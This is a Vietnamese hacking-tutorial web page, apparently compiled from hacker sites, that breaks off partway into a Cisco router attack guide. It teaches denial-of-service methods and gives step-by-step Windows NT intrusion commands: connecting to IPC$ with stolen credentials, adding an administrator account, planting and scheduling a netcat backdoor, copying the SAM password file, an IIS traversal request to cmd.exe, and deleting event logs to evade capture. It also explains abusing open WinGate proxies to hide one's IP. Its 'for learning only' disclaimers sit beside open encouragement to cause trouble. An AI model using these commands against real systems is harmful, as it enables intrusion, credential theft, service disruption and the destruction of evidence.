|
Cách thức tấn công một trang web mà các hacker thường sử dụng có nhiều
loại, cung nhu nhiều phương thức khac nhau. Ví dụ như đột nhập vào máy chủ
bằng pass cua Administrator, thay đổi nội dung của trang web, điển hình
của vi dụ này la trường hợp một hacker 17 tuổi người Thủy Điện đã đột nhập
được vào máy chủ của Bộ Quốc Phòng Mỹ, thay đổi toàn bộ nội dung của trang
web. Một phương thức nữa cũng rất được các hacker dùng đê tấn công máy chủ,
đó là kiểu tấn công DOS, tôi sẽ nói Dos la gì o phần dưới đây, làm tê liệt
hoàn toàn may chủ, khiến người dùng không thể truy cập vao internet được....Ngoài
ra đối với một hacker không chỉ co tấn công server vi nếu chi có thế thì
công việc quá chán, việc làm của kẻ gọi la hacker còn la tạo ra vius tấn
công vao máy tinh của người khác mà muc đich có nhiều khi chỉ đơn giản là
thử cho biết :D, Sau đây tôi sẽ giới thiệu với các bạn một vài cách cơ bản
để có thể trở thành hacker,tất nhiên để có thể trở thành một hacker không
thể chỉ là copy and paste, ma ban cần phải học để có thể tụ bản thân mình
co thể tạo ra virus, hay tấn công vào một server, nhưng trong khoang thời
gian chờ học thành tài chúng ta thử quậy một chút xem sao. Nhũng bài viết
của tui trong trang web này đều dựa trên những sưu tầm và tham khảo trên
các trang web về hacker trong và ngoài nước Nhật .
Khuyến cáo :
những bai viết của tui ở trang web nay nhằm mục đích học tập và trao đổi
kinh nghiệm, không nhằm bất cứ mục đich phá hoại nào khác. Các bạn hoàn
toàn co quyền sử dụng nội dung bài viết này với bất kỳ mục đích gì, trừ
việc cướp người yêu của tui :))), cũng như tự chịu trách nhiệm về hành
động...nông nổi của mình, chúc thành công!!!
Tấn công server
Dos là gi?
Deny of Attcack, tấn công
từ chối dịch vụ (DOS), đây là những điểm cơ bản nhất về tấn công từ chối
dịch vụ.
Có 2 cách để tấn công từ chối dịch vụ là kiểu lame (tạm dịch là kiểu dành
cho những kẻ trình độ thấp) và elite (cách thức tiên tiến):
Kiểu lame
Bom thư- là kĩ
thuật làm cho hòm thư của người khác bị lụt bởi các bức thư, đây là một
trong những dạng thấp nhất của DOS. Mọi người đều có thể lên mạng để kiếm
vài chương trình boom thư như UNA hoặc KABOOOM , điền hòm thư của nạn nhân
và … gửi thư. Hòm thư của nạn nhân sẽ đầy ắp thư hoặc có 1 cách đơn giản
hơn đó là đăng kí địa chỉ của hắn với một site sex, hòm thư của hắn sẽ bị
boom mà bạn chẳng cần phải làm gì cả.
Nếu như nạn nhân là admin của một site nào đó thì bằng cách boom thư bạn
đã tiêu tốn một lượng lớn không gian đĩa cứng của hắn.
Đăng nhập liên tiếp: giả sử một mail server cho phép bạn đăng nhập một số
ít lần và bạn biết tên đăng nhập của hắn, bạn có thể dùng một chương trình
để đăng nhập liên tiếp, khi đó nạn nhân sẽ không thể đăng nhập vào hòm
thư, như vậy là bạn đã khoá đường vào của hắn.
Bây giờ thì sẽ là những cách tiên tiến hơn nhưng cũng đòi hỏi ở bạn trình
độ và sự thông minh của bạn
Tràn Syn
Đây là cách tấn công vào phương thức bắt tay của TCP/IP
Trước tiên chúng ta hãy tìm hiểu một chút về TCP/IP
Cách bình thường:-
Syn-packet được gửi tới máy chủ bởi máy khách có ý định thiết lập kết nối
SYN
Máy khách --------------> Máy chủ
Ở bước thứ 2 máy chủ sẽ trả lời với một gói SYN/Ack tới máy khách
SYN/ACK
Máy khách <-------------- Máy chủ
Bước thứ 3 và là bước cuối cùng.
Máy khách trả lời bằng một gói ack tới máy chủ và cơ chế bắt tay ba bước
được hoàn thành
Bây giờ đến phần tấn công
Nhiều Syn-packet được gửi tới máy chủ thông qua một địa chỉ IP giả (địa
chỉ IP chết hoặc không có), sau đó điều gì xảy ra, máy chủ sẽ trả lời với
gói syn/ack và máy chủ đợi gói ack xác nhận. Nhưng vì địa chỉ IP không tồn
tại nên nó vẫn phải chờ đợi, do vậy nó trì hoãn và tiêu tốn tài nguyên của
hệ thống và làm cho hệ thống bị treo hoặc khởi động lại.
Land attack
Tấn công kiểu land attack cũng giống như tấn công kiểu tràn Syn nhưng thay
bởi địa chỉ IP giả mạo hoặc chết thì nó sử dụng chính ngay IP của mục
tiêu. Nó tạo ra một vong lặp vô tận và hệ thống đích bị phá vỡ. Nhưng hầu
hết hệ thộng đều được thiết lập để chống lại kiểu tấn công này.
Smurf Attack
Là một dạng tấn công kiểu brute force (hàng loạt), trong đó một số lượng
khổng lồ các router (định tuyến) sử dụng địa chỉ IP giả từ bên trong mạng
đích, do đó khi nó nhận tín hiệu ping (thăm dò) nó sẽ phản hồi và làm lụt
mạng. Và làm ngưng trệ giao thông mạng.
Lụt Udp
Đây là dạng tấn công 2 hệ thống đích và có thể sử dụng để ngừng các dịch
vụ của 2 hệ thống. Cả 2 hệ thống được kết nối tới nhau, một tạo ra một
chuỗi các kí tự cho mỗi gói nhận, theo cách nói khác là tạo ra các kí tự
yêu cầu UDP trong khi đó hệ thống còn lại sẽ phản xạ lại mọi thông điệp mà
nó nhận được. Do vậy tạo nên một vòng lặp vô hạn giữa 2 hệ thống, mọi dịch
vụ khác giữa chúng bị tê liệt.
Ping of death
Kiểu tấn công này sẽ không làm việc được đối với các máy chủ đã được thiết
lập để phòng ngừa nó. Trong kiểu tấn công này hệ thống đích được thăm dò
bởi một gói vượt quá kích thước bình thường cho phép bởi giao thức tcp/ip
và sẽ làm cho hệ thống đích bị treo hoặc khởi động lại
Tear Drop
Khi dữ liệu được gửi từ một hệ thống tới hệ thống khác nó được chia ra
thành những mảnh nhỏ hơn và được máy đích tập hợp lại. Các gói này có một
trường offset trong phần đầu của gói TCP là phần qui định phần dữ liệu nào
được gửi đi. Nó kết hợp với số chuỗi, giúp cho máy đích có thể tập hợp các
gói lại.
Trong phương thức tear drop các gói được chuyển đi với trường offfset
chồng chéo, khiến cho máy nhận không thể ráp chúng lại và dẫn tới bị phá
vỡ.
Có một kiểu tấn công mới gọi là DDOS trong đó nhiều máy tính được sử dụng
để tấn công từ chối dịch vụ.
Tuy nhiên đây đều là những
cách tấn công khá căn bản và các máy chủ bây giờ đều được trang bị để
phòng chống mấy cái này . Cao hơn nữa là DDOS
(Distributed DOS ) và DRDOS (Distributed Reflection DOS) . 2 thằng này chủ
yếu tấn công qua giao thức TCP/IP cổng 80 hoặc UDP cổng 80 .Ở DDOS thì có
một cái nữa là Zombie Code , nó giống như một dạng Client/Server progam .
Zombie Client được cài trên một máy con tốc độ truy cập
Internet lớn , còn Zombie Server sẽ chỉ ra
khi nào được tấn công và tấn công cái gì . DRDOS là một phương thức cải
tiến của kiểu tấn công SYN/ACK , cũng gửi hàng ngàn gói SYN tới router.
Router lấy thông tin từ các gói và gửi lại gói SYN/ACK tới IP nạn nhân
.Những người am hiểu và có khả năng tấn công bằng những cái này thực sự
không nhiều , mà nhiều là những người sử dụng các chương trình viết sẵn để
tấn công thôi.
Trở về đầu trang
Các lệnh cơ bản để xâm nhập máy tính
Phần 1
: Net
chỉ cần bố cháu có được User và Passwords của một
IP nào trên Net...thế là bố cháu có thể kết nói một
IPC$ rồi đấy....bây giờ tui xin ví dụ là
bác có được User la hbx và passwords : 123456...IP
: 127.0.0.1
Hãy mở trình Ms dos và gõ vào lệnh sau :
Net use \\127.0.0.1\ipc$ "123456" /user:"hbx" đẩ kết nồi một IPC$ với máy
victtim
nhưng thao tác tiếp theo..bạn nhất thiết phải login xong mới có thể sử
dũng
-----------------------------------------------------------------------------------------------
bây giờ chúng ta nói tiếp làm thế nào để tạo một user mới ...
chúng ta cộng thệm môt user mới là heibai và password lovechina
Net user heibai lovechina / add
nếu bạn thành công..thì có thể cộng user này vào nhom Adminstrator
Net Localgroup Adminstrator heibai / add
----------------------------------------------------------------------------------------------------
trong phần này tớ hướng dẫn tạo một ổ đỉa Ảo trên computer
Net use z: \\127.0.0.1\C$ ( hoặc là IPC$ )
Z là của mình...còn C$ là của Victim
-------------------------------------------------------------------------------------------------------
Phần 2 : AT
thông thường thì khi độp nhập vào máy tính..chúng ta sẻ tặng quà lưu niệm
cho victim trước khi rút lui,....vậy khi copy trojan lên máy rồi...làm thế
nào dể khới động nó đây ?
chúng ta phải dùng đến lệnh AT thôi.....
đầu tiên...chúng ta cần biết thời gian của đối phương
Net time \\127.0.0.1
bây giờ thì nó sẽ phản hồi thời gian của victim...vd : 12:0 ..
tiếp theo..chúng ta cần tạo môt homework ID = 1
AT \\127.0.0.1 12:3 nc.exe
ở đây giả thiết là tui có con trojan la Nc.exe và đã được copy lên máy
victim rồi
* giới thiệu chút it về NC...NC là từ viết tắc của NETCAT....nó là một
telnet server với port 99
đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể
connected đến port 99..thế là xong phần lưu bút
---------------------------------------------------------------------------------------------------------
phần 3 : Telnet
đây là một lệnh rất cần thiết khi xâm nhập máy tính...nó có thể kết nối vớ
máy tính khắc từ xa..nhưng thường thi phải có I D & PW..nhưng nếu máy đã
Ăn Đạn rồi thì bạn chỉ cần connected đến port 99 là ok
Telnet 127.0.0.1 99
thế là bồ đã kết nối đến port 99 và có thể thực hiện tất cả các lệnh...
-----------------------------------------------------------------------------------------------------------
Phần 4 : Copy
bây giờ chúng ta nói tiêp...làm thế nào để copy files trên máy mình lên
máy victim và làm ngược lại....nhưng bạn phải có kết nối IPC$ cái đã....
chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1
Copy Index.html \\127.0.0.1\C$\index.html
nếu bạn copy lên folder winNt
Copy index.html \\127.0.0.1\admin$\index.html
muốn copy files trên máy victm thì bạn gõ vào :
Copy \\127.0.0.1\Admin$\repair\sam._c:\
------------------------------------------------------------------------------------------------
phần 5 : Set
nếu bạn muốn hack một website......tất nhiến là phải mở port 80..nếu không
thì hack cho ai xem ?
đã tới lúc dùng lệnh Set rồi
sau đây là kết quả mà tớ tìm thấy......chúng ta phân tích nghe....chủ yếu
là muốn biêt homepage nó ở đâu thôi.....
COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST= DAY LA SO IP CUA TUI..NHUNG TUI DEL ROIHTTP_ACCEPT_ENCODING=gzip,
deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot DAY LA URL CUA HOMEPAGE, CHI CAN NHIN SAU DONG
PATH_TRANSLATED= LA BIET NO O DAU 。O DAY LA E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT
đây là cách khá ngu..nhưng chỉ có cách này mới 100% biết đuợc homepage tên
gì..ở ảâ ? khi cậu Dir ..chắc chắn là sẽ View được rất nhiều files
đấy`.....
---------------------------------------------------------------------------------------
phần 6 : Nbtstat
nếu cậu Scan đuợc một máy sữ dụng Winnt...open port 135-139...thế thì bồ
phải dùng lệnh này để biết thêm user thôi...
* tiện thể xin nói luôn...đây là netbios....sau khi có user rồi bạn có thể
đoán mò password..nếu không thi Cracking luôn đi
Nbtstat - A XXX.XXX.XXX.XXX
sau đây là kết quả tớ scan được.....
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered
Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
kết quả cho biết User là PENTIUMII。
-------------------------------------------------------------------------------------------
phần 7 : Shutdown
nhìn lệnh thôi cũng đủ biết rồi phải hông ? đây là lệnh shutdown server
Winnt
Shutdown \\127.0.0.1 t:20
20 giây sau...Winnt sẽ tự khời động lại.......hi vọng các bạn suy nghỉ kỷ
trước khi dùng lệnh này....vì nó sẽ làm tổn thất rất nặng cho victim...hãy
làm tay hacker có đạo đức
---------------------------------------------------------------------------------------------------------------------------------
phần 8 : Dir....
lệnh này không có gì để nói hết..chỉ dùng để view thôi.................
-----------------------------------------------------------------------------------------------
phần 9 : Del
lệnh này giống như xoá nhật ký vậy đó.....khi chúng ta xâm nhập máy
tình...trên hệ thống sẽ lưu lại thông tin của chúng ta..vì thế..nên del nó
đi...chư muốn bị tóm cổ hả ?
sau đây là những files nhật ký của Winnt
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
chỉ cần del hết là coi như xong
-------------------------------------------------------------------------------------------------------------------
ngoài ra những lệnh trong ms dos còn rất
nhiều....như lệnh ECHO .....FTP.........ATTRIB......mà ở
đây tui không thể kể ra hết đươc
Trở về đầu trang
Wingate la gì, va nó liên quan gì tới server acttack?
WinGate
là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: bạn
có thể chia sẻ 1 modem với 2 máy.
WinGate dùng với nhiều proxy khách nhau có thể che giấu bạn.
2. Mặc định sau khi cài đặt
Khi bạn cài WinGate bình thường, không thay đổi thông số gì thì sẽ có một
số mặc định:
Quote
Port | Service
23 Telnet Proxy Server - This is default
and running right after install.
1080 SOCKS Server - This once setup via GateKeeper has no password until
you set one.
6667 IRC Mapping - This once setup via GateKeeper has no password until
you set one.
3. Port 23: Telnet Proxy
Proxy sẽ chạy ngay sau khi bạn hoàn thành cài đặt và làm mọi thứ trở nên
tồi tệ nếu không có mật mã sau khi cài đặt và không đòi hỏi bạn là người
duy nhất. Nhiều quản trị hệ thống không biết việc này và cũng không nghĩ
sẽ đặt mật mã cho nó và đây là nơi xuất hiện trục trặc.
Telnet proxy cũng thật sự đơn giản. Bạn telnet trên cổng 23 trên máy chủ
chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate> Tại dấu nhắc này
bạn đánh vào server, một khoảng trống và cổng bạn muốn kết nối vào.
Thí dụ:
Quote
telnet wingate.net
Connected to wingate.net
WinGate> victim.com 23
Thí dụ này cho thấy một ai đang dùng telnet vào WinGate server và sau đó
từ WinGate server đó telnet tới victim.com vì vậy trên log của victim.com
sẽ hiện ra IP của wingate (wingate.net) và vì vậy có thể giữ IP của mình
bí mật.
4. Port 1080: SOCKS Proxy
Socks proxy không được cài đặt mặc định nhưng ngay sau khi dùng GateKeeper
sẽ cài đặt nó. Việc cài đặt này không cần password, trừ khi bạn có đặt.
Nếu bạn quen với socks bạn có thể biết nhiều việc có thể làm với nó.
5. Port 6667: IRC Proxy
IRC proxy cũng giống như khi chúng ta dùng wingate telnet proxy bounce tới
irc server trừ khi irc proxy đã được thiết lập để đến một server. Nó không
được thiết lập để chạy sau khi cài đặt nhưng sau khi bạn cài sẽ không cần
password, trừ khi bạn có đặt.
6. Làm thế nào để tìm và sử dụng WinGate?
Tìm WinGates cũng rất dễ làm. Nếu bạn muốn tìm IP WinGates tĩnh (IP không
đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable
modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ
đường truyền rộng của nó cable modems cho những máy khác trong nhà. Một
công ty cable modem lớn là Cox Cable. Trang web của họ có thể tìm thấy ở
<a href="www.home.com" target='_blank'>www.home.com</a>. The Cox Cable có
IP trong khoảng 24.1.X.X.
Bạn có thể dùng Port hay Domain scanners và scan Port 1080, tên gọi là
SOCKS Proxy, đây cũng là một cách đơn giản để tìm WinGate.
Thí dụ:
24.1.67.1 chỉ đến c224084-a.frmt1.sfba.home.com mà tại đó chúng ta biết
sfba = San Fransico Bay Area hay cái gì gần như vậy.
Đó là cách tìm IP WinGates tĩnh. Để tìm IP động (IP thay đổi mỗi lần user
kết nối vào internet) của WinGates cũng không khó chút nàol. Hầu hết tất
cả ISP lớn và nhỏ đều có user dùng WinGate. Bạn cần phải biết định dạng
của ISP's dynamic ppp addresses hoặc bạn có thể dùng IRC (Internet Relay
Chat). Giả sử bạn có ppp IP của armory-us832.javanet.com. Bây giờ bạn dns
IP đó và có 209.94.151.143. Bây giờ lấy IP đó và đưa nó vào domain scanner
program.
Thí dụ: Domscan có thể tìm thấy tại Rhino9 web site (<a
href="rhino9.abyss.com" target='_blank'>rhino9.abyss.com</a>). Ok, bây giờ
bạn đã có domscan. Chạy domscan và có một box để đặt IP và port để scan.
WinGate telnet proxy theo mặc định chạy trên cổng 23. Vì vật đặt
209.94.151.143 vào trong box đầu tiên trong domscan và 23 trong box thứ 2,
sau đó click vào start. Ta có được kết quả:
209.94.151.2
209.94.151.4
209.94.151.6
209.94.151.10
209.94.151.8
209.94.151.73
209.94.151.118
209.94.151.132
Bây giờ kiểm tra từng cái để tìm WinGate prompt. Để làm vật ta telnet tới
209.94.151.2 trên cổng 23 và nếu nó hiện WinGate> khi chúng ta kết nối thì
nó là WinGate. Nếu không chúng ta làm tiếp địa chỉ kế tiếp có thể là
209.94.151.4. Chúng ta làm như vậy cho đến hết danh sách IP.
Ghi chú: Nếu chúng ta scan dynamic IP WinGates nếu số cuối cùng của IP
càng lớn thì hy vọng nó là IP của WinGate càng lớn. Thí dụ: Cơ hội
209.94.151.132 là WinGate lớn hơn 209.94.151.2.
Trở về đầu trang
Tấn công hệ thống Cisco
Cảnh báo:
Đây là bài viết được
sưu tầm từ trang web VNHacker, mục dích chỉ nhằm nghiên cứu và hoc tập
KHÔNG ĐƯỢC sử dụng tài liệu này để phá hoại các hệ thống cisco, hoặc thâm
nhập bất hợp pháp vào hệ thống. Tài liệu này chỉ nhằm mục đích giáo dục.
Chỉ sử dụng tài liệu này một cách hợp pháp (Wargames của các hacker chẳng
hạn.), và không được phá hoại bất kì cái gì. Đây là một bài học dẫn dắt
từng bước một về cách một những điểm yếu của cisco dẫn tới việc có thể bị
truy nhập trái phép. Nếu bạn bị bắt quả tang đang đột nhập vào một bộ dẫn
đường cisco, hoặc làm rối loạn hệ thống, bạn có thể làm gián đoạn hàng
trăm người dùng internet, tốn kém hàng ngàn đôla, cho nên chỉ sử dụng tài
liệu này khi bạn được cho phép ! Sử dụng sai tài liệu này sẽ làm cho bạn
gặp rất nhiều rắc rối.
Chú ý: một số bài học được viết cho hệ Unix, và không được chuyển soạn cho
DOS/hay tương thích Windows, cho nên bạn sẽ phải xem tài liệu này bằng
trình duyệt Web, hoặc Microsoft Word.
-------------------------------------
- Phần 1: Tại sao lại xâm nhập bộ dẫn đường cisco?
- Phần 2: Tìm một bộ dẫn đường cisco như thế nào ?
- Phần 3: Làm thế nào thâm nhập vào bộ dẫn đường cisco ?
- Phần 4: Phá mật khẩu như thế nào ?
- Phần 5: Sử dụng bộ dẫn đường như thế nào ?
-----------------------------------
Những thứ CẦN biết TRƯỚC khi bạn bắt đầu:
-----------------------------------
Địa chỉ IP là
gì?
Địa chỉ IP là gì?
IP là từ viết tắt của Internet Protocol, địa chỉ IP được sử dụng bởi các
máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí
do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra ISP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các
cách sau :
- bạn lướt qua một trang web, IP của bạn bị ghi lại
- trên IRC, bất kì ai cũng có thể có IP của bạn
- trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn "do not
show ip" người ta vẫn lấy được nó
- nếu bạn kết nối với một ai đó, họ có thế gõ "systat", và biết được ai
đang kết nối đên họ
- nếu ai đó gửi cho bạn một email với một đoạn mà java tóm IP, họ cũng có
thể tóm được IP của bạn
Có rất nhiều cách tóm địa chỉ IP, bao gồm cả việc sử dụng các chương trình
back-door như Sub7 hoặc NetBus.
Thế nào là một ISP?
ISP viết tắt cho Internet Service Provider, đó là những công ty mang
internet đến cho bạn. Bạn kết nối đến họ mỗi khi bạn dial-up và tạo một
kết nối. Mọi người có thế phát hiện ra ISP của bạn chỉ đơn giản bằng cách
traceroute bạn (traceroute sẽ được giải thích sau). Nó sẽ trông như thế
này:
tracert 222.222.22.22
Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1 147ms 122ms 132ms your.isp [222.222.22.21]
2 122ms 143ms 123ms isp.firewall [222.222.22.20]
3 156ms 142MS 122ms aol.com [207.22.44.33]
4 * * * Request timed out
5 101ms 102ms 133ms cisco.router [194.33.44.33]
6 233ms 143ms 102ms something.ip [111.11.11.11]
7 222ms 123ms 213ms netcom.com [122.11.21.21]
8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]
9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< target's isp
10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Trace complete.
Gói tin TCP/IP là gì?
TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, a
Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header
và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet,
bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP
của người gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong
giống như đến từ một người káhc!! Bạn có thể dùng cách này để tìm cách
truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải chạy trên
Linux hoặc có một chương trình cho phép bạn làm điều này. Bài giảng này sẽ
không đưa ra cách sử dụng biện pháp này trên bộ dẫn đường Cisco, những sẽ
nằm trong tầm tay khi hack vào một hệ thống. Nếu gặp rắc rối khi bạn thử
hack vào một hệ thống, sử dụng cách này...
Làm thế nào để giấi IP của bạn:
Tìm một chương trình như Genius 2 hoặc DC IS, chúng sẽ cho phép bạn chạy
IdentD. Các chương trình này sẽ thay đổi phần đầu của IP máy tính của bạn
ngay lập tức! Dùng cách này khi bạn bị đuổi ra khỏi IRC chat room.... bạn
sẽ có thể quay lại ngay lập tức! Bạn cũng có thể sử dụng cách này khi bạn
truy nhập vào một hệ thống khác và như thế nó sẽ log id sai
Sử dụng telnet :
Bạn mở telnet đơn giản băng cách chọn Start Menu rồi Run và gõ "telnet".
Một khi bạn đã mở được telnet, bạn sẽ muốn thay đổi một vài tính năng.
Chọn Terminal>Preferences. Tại đây bạn có thể thay đổi kích thước vùng đệm
font, và một cái thứ nữa. Bạn cũng có thể bật/tắt "local echo", nếu bạn
bật,
máy tính sẽ hiển thị mọi thứ bạn gõ vào, và các máy tính khác cũng sẽ hiện
cho bạn thấy.
Và bạn có thể sẽ nhận được những thông điệp tương tự như thế này.
bạn gõ "hello", và bạn nhận được
hhelelollo
Điều này xảy ra bởi vì thông tin đã phản hồi lại và những gì nhận được là
những gì bạn đã gõ. Lí do duy nhất tôi dùng chương trình này bởi lẽ nó
không trả về những gì bạn gõ
Mặc định, telnet sẽ kết nối với một hệ thống bằng cổng telnet, cổng số 23.
Và từ bây giờ bạn sẽ không chỉ kết nối băng cổng 23, và khi bạn kết nối,
bạn có thể chọn đổi sang dùng cổng 25 chẳng hạn, cổng này được dùng bởi
các mail servers. Hoặc có thể là cổng 21, cho FTP. Có hàng nghì cổng, cho
nên bạn phải chọn đúng cổng cần thiết
Sử dụng HyperTerminal:
HyperTerminal cho phép bạn thiết lập một "server" trên bất kì cổng nào của
máy tính của bạn để thu nhận thông tin đến từ các máy tính nhất định. Để
làm được điều này, chọn Start > Programs > Accessories > Communications >
HyperTerminal.
Đầu tiên bạn cần phải lựa chọn kết nối, bấm "TCP/IP Winsock", và sau đó
đặt vào máy tính mà bạn kết nối với, và số cổng. Bạn có thể sai khiến nó
nghe ngóng đầu vào bằng cách chọn Call>Wait for Call. Và bây giờ các máy
tính khác có thể kết nối với bạn bằng cổng đó, và bạn có thể chat hay
truyền file.
Sử dụng Ping:
Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ "ping địa_chỉ_ip", mặc định sẽ
ping 4 lần, nhưng bạn cũng có thể gõ
"ping ip.address -t"
Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:
"ping -l (size) địa_chỉ_ip "
Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao
lâu gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác
định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay
trở lại và chia bốn (gọi là "trip time"). Ping cũng có thể được dùng để
làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một
phút lụt ping (Bộ đệm của kết nối bị tràn – có qua nhiều kết nối, nên
Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công “ping
flood” sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông
lớn hơn đối phương ( trừ khi đối phương là một máy chạy Windows 98 và bạn
có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ
một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương
mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số
lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối
phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một
cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp.
Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt
thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX
(POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó
sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ
điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.
Sử dụng
TraceRoute:
Để lần theo kết nối của bạn(và xem tất cả các máy tính nằm giữa bạn và mục
tiêu), chỉ cần mở MS-DOS prompt, và gõ "tracert địa_chỉ_ip" và bạn sẽ thấy
một danh sách các máy tính nằm trên đường giưa máy tính bạn và đối phương.
Bạn có thể dùng cách này để xác định xem liệu có firewalls chặn? Và cách
này cũng cho phép xác định ISP của một ai đó (Internet Service Provider).
Để xác định ISP, chỉ việc đơn giản xem địa chỉ IP trước cái cuối cùng, đây
chắc chắn là một trong các bộ dẫn đường của một ISP.
Bản chất là gì? Đây là cách mà traceroute làm việc - một gói tin TCP/IP có
một giá trị trong phần đầu (đó là phần IP. Nếu bạn không biết nó là gì,
hãy bỏ qua vàthen ignore nó và đọc tiếp, điều đó không quan trọng) gọi là
TTL, viết tăt cho Time To Live. Một khi gói tin đi qua một bộ dẫn đường
thì TTL của nó bị trừ đi một. Đây là cách một bộ đếm chống lại khả năng
xảy ra lỗi và một gói tin sẽ bắn ra khắp nơi trên mạng, và lãng phí băng
thông.
Cho nên khi một TTL cua một gói tin bằng 0, nó sẽ chết và một lỗi ICMP
được gửi trả về người gửi.
Bởi thế, đầu tiên traceroute gửi đi một gói tin có TTL bằng 1. Gói tin sẽ
trở lại nhanh chóng, qua việc nhận biết địa chỉ người gử trong phần đầu
của thông báo lỗi ICMP, traceroute biết gói tin đã ở đâu trong lần bắn đầu
tiên. Sau đó nó gửi một gói tin với TTL có giá trị là 2, và nhận được kết
quả trả về của lần bắn 2, mang theo định danh của máy. Và điều này xả ra
cho đến khi gói tin đến đích.
Thật thú vị phải không? :-)
Sử dụng
proxy server:
Hãy tìm một proxy server chạy trên một cổng mà bạn chọn. Một khi bạn tìm
ra, kết nối đến nó bằng telnet hoặc hyperterminal và sau đó nối đến máy
tính khác bằng proxy server. Bằng cách này máy tính ở đầu kia sẽ không
biết được địa IP của bạn.
----------------------------------
Phần 1: Tại sao lại hack cisco router?
Có thể bạn thắc mắc.. tại sao lại hack cisco router?
Lí do là chúng thật là hữu ích để bẻ khoá các hệ thống khác...
Cisco routers rất nhanh, một số có tốc độ kết nối 18 T1 trên một hệ thống,
và chúng rất linh hoạt và chúng có thể sử dụng cho các cuộc tấn công DoS
hoặc hack vào các hệ thống khác bởi vì hầu hết chúng chạy telnet.
Có hàng nghìn gói tin chạy qua chúng một lúc, và ta có thể bắt và giải mã
các gói tin... Rất nhiều cisco routers được tin cậy, và cho phép bạn truy
nhập nhất định vào các máy tính khác trong mạng của nó.
----------------------------------
Phần 2: Tìm một
cisco router
Tìm bộ dẫn đường Cisco là công việc tương đối dễ, hầu hế mỗi ISP đều dẫn
qua ít nhất một cisco router. Cách dễ nhất để tìm ra một bộ dẫn đường
Cisco là chạy traceroute từ dos (gõ "tracert" và địa chỉ IP của một máy
tính khác), bạn có thể lần ra nhiều thông tin nhờ các máy tính mà nó hiện
ra giữa máy tính bạn và máy tính của họ. Một trong số những hệ thống này
